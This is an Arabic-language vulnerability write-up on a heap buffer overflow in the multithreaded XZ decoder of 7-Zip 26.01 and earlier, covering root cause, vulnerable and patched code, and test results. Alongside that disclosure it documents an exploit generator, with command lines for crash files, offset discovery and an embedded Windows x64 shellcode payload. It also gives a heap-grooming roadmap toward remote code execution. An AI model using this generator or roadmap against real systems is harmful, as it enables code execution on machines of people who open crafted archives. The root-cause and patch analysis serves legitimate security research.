
تجاوز سعة المخزن المؤقت في الكومة في مفكك ترميز XZ في 7-Zip - تحليل كامل، السبب الجذري، PoC، وخارطة طريق استغلال RCE
خطورة حرجة | CVSS: 8.8 (عالية) | CWE-122: تجاوز سعة مخزن مؤقت قائم على الكومة
المتأثر: 7-Zip ≤ 26.01 | تم التصحيح: 7-Zip 26.02 (2026-06-25)
الاكتشاف والتحليل بواسطة: Li Yuxuan (liyuxuan504-byte) والفريق
توجد ثغرة تجاوز سعة المخزن المؤقت في الكومة في مسار مفكّك ترميز XZ متعدد الخيوط في إصدارات 7-Zip ≤ 26.01. يمكن لأرشيف .xz مُصنَّع بغرض خبيث أن يطلق كتابة خارج الحدود تتجاوز المخزن المؤقت للمخرجات المخصَّص في الكومة، مما يؤدي إلى:
STATUS_ACCESS_VIOLATION (0xC0000005)تكمُن الثغرة في MixCoder_Code() داخل C/XzDec.c، حيث يمرّر فرع SingleBuf (outBuf) قيمة destLen2 غير مفحوصة إلى مفكّك ترميز LZMA2 دون تقييدها بسعة المخزن المؤقت المتبقية (outBufSize - outWritten).
أي نظام أو تطبيق يستخدم 7-Zip (أو 7z.dll) المصاب بالثغرة لاستخراج ملفات .xz غير موثوقة يكون معرّضًا للخطر — فالمسار متعدد الخيوط مفعَّل افتراضيًا على الأنظمة متعددة النوى.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← NO boundary clamp
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← can exceed dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
→ dicPos exceeds dicBufSize → HEAP OVERFLOW
الإصدار المصاب بالثغرة (26.01) — C/XzDec.c ~L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← raw value, no clamping!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← tracks total but never checks
}
الإصدار المُصحَّح (26.02) — C/XzDec.c ~L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // data inconsistency → abort
destLen2 -= p->outWritten; // clamp to remaining capacity!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
يتكوّن الإصلاح من 3 أسطر. يطرح قيمة p->outWritten (البايتات المكتوبة بالفعل في هذا المخزن outBuf) من destLen2 قبل تمريرها إلى مفكّك ترميز LZMA2، مما يضمن عدم قدرة المفكّك على الكتابة خارج حدود المخزن المؤقت المخصَّص أبدًا.
في المسار أحادي الخيوط، يطبّق XzUnpacker_Code تقييده الخاص rem القائم على unpackSize قبل استدعاء MixCoder_Code. هذا التقييد يحدّ المخرجات بشكل صحيح. أما مسار SingleBuf متعدد الخيوط فيتجاوز هذا التقييد لأنه يمرّر destLenOrig مباشرة — يصبح التقييد السابق عديم الفعالية عندما تكون destLen مضبوطة مسبقًا على الحجم الكامل المتبقي من المدخلات بدلاً من السعة الفعلية المتبقية في المخزن المؤقت.
يتم تخصيص outBuf على كومة CRT عبر ISzAlloc_Alloc(allocMid, unpackSize):
unpackSize | المُخصِّص | قابلية الاستغلال |
|---|---|---|
| ≤ 16 KB | LFH (Low Fragmentation Heap) | ★ الأفضل لـ RCE — كائنات متجاورة في نفس الدلو (bucket) |
| 16–64 KB | Segment Heap (Backend) | ممكنة — إفساد قائمة الكتل الحرة (free-list) |
| ≥ 64 KB | VirtualAlloc (بمحاذاة الصفحات) | DoS فقط — صفحة الحماية تعترض التجاوز |
أكثر نهج الاستغلال وعدًا:
unpackSize صغيرًا (256–16384 بايتًا) لتحفيز تخصيص LFHnext في قائمة LFH الحرة ← يحقق بدائية تخصيص عشوائي (arbitrary-alloc primitive)| القدرة | الحالة |
|---|---|
| DoS (تعطل) | ✅ مؤكَّد وموثوق على 7-Zip 26.00 x64 |
| تجاوز سعة صامت في الكومة (LFH) | ✅ مؤكَّد — يكتب خارج حدود المخزن، رمز الخروج 2، دون تعطل |
| توصيل حمولة مضبوط | ✅ قابل للتحكم الكامل عبر بيانات مقاطع النسخ في LZMA2 |
| بدائيات تخطيط الكومة | ✅ المفهوم مُثبت — يتطلب ضبط تخطيط خاصًا بالهدف |
| سلسلة RCE كاملة | ❌ قيد التطوير — تتطلب تحليل تخطيط الكومة على الهدف |
تغيّر برامج التصحيح التقليدية (x64dbg, WinDbg) سلوك إنشاء العمليات. عند التشغيل تحت مصحّح أخطاء، قد لا يحمّل 7z.dll مسار XZ متعدد الخيوط أبدًا — إذ تتراجع العملية بصمت إلى الوضع أحادي الخيوط حيث لا تُطلق الثغرة. النهج المطلوب:
tools/)poc/poc-cve-2026-14266-rce.py هو مولّد استغلال XZ كامل المواصفات:
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
| المعامل | الوصف | الموصى به |
|---|---|---|
--unpack-size | unpackSize المُعلَن للكتلة (= حجم تخصيص outBuf) | 256–4096 من أجل RCE عبر LFH |
--overflow | إجمالي البايتات المطلوب كتابتها بعد outBuf | 4096–32768 |
--chunk-size | حجم بيانات مقطع النسخ في LZMA2 (1–65535) | يجب ألّا يكون قاسمًا صحيحًا لـ unpackSize! استخدم عددًا أوليًا (97) أو --force-align-overflow |
--payload-cyclic | نمط دوري لاكتشاف الإزاحة | استخدمه أولًا، ثم استبدله بالحمولة الفعلية |
--payload-shellcode | تضمين شيل كود Win x64 WinExec("calc.exe") | ~276 بايتًا |
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
اختُبر على: Windows 11 Pro x64 (build 26200) + 7-Zip 26.00
unpackSize | chunk_size | التجاوز | النتيجة |
|---|---|---|---|
| 256 KB (0x40000) | 4096 (قسمة صحيحة) | ~32 KB | 0xC0000005 — انتهاك الوصول (صفحة الحماية) |
| 256 KB | 3 (DoS الأصلي) | ~30 KB | 0xC0000005 — انتهاك الوصول |
| 256 KB | 4096 | ~32 KB | 0xC0000374 — تم اكتشاف إفساد في الكومة |
| 256 B | 97 | ~1 KB | خروج 2 — تجاوز صامت! |
| 4 KB | 97 | ~16 KB | خروج 2 — تجاوز صامت! |
| 16 KB | 97 | ~32 KB | خروج 2 — تجاوز صامت! |
الرؤية الأساسية: جميع عمليات التخصيص في نطاق LFH (≤16 KB) تُنتج تجاوزات صامتة — إذ تُكتب بيانات الحمولة على كائنات كومة مجاورة دون تعطل فوري. هذا هو الشرط الأساسي لاستغلال RCE.
من جلسة x64dbg مباشرة (7-Zip 26.00, مسار MT):
Fault instruction: mov byte ptr [rcx], r11b
Fault address: msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 bytes past the 0x40000-byte outBuf)
Decoder struct (rbx = 0x12363B0BB00):
+0x28: outBuf base = 0x12363C10000
+0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
+0x38: write cursor = 0x40000 (ALREADY FULL when overflow begins)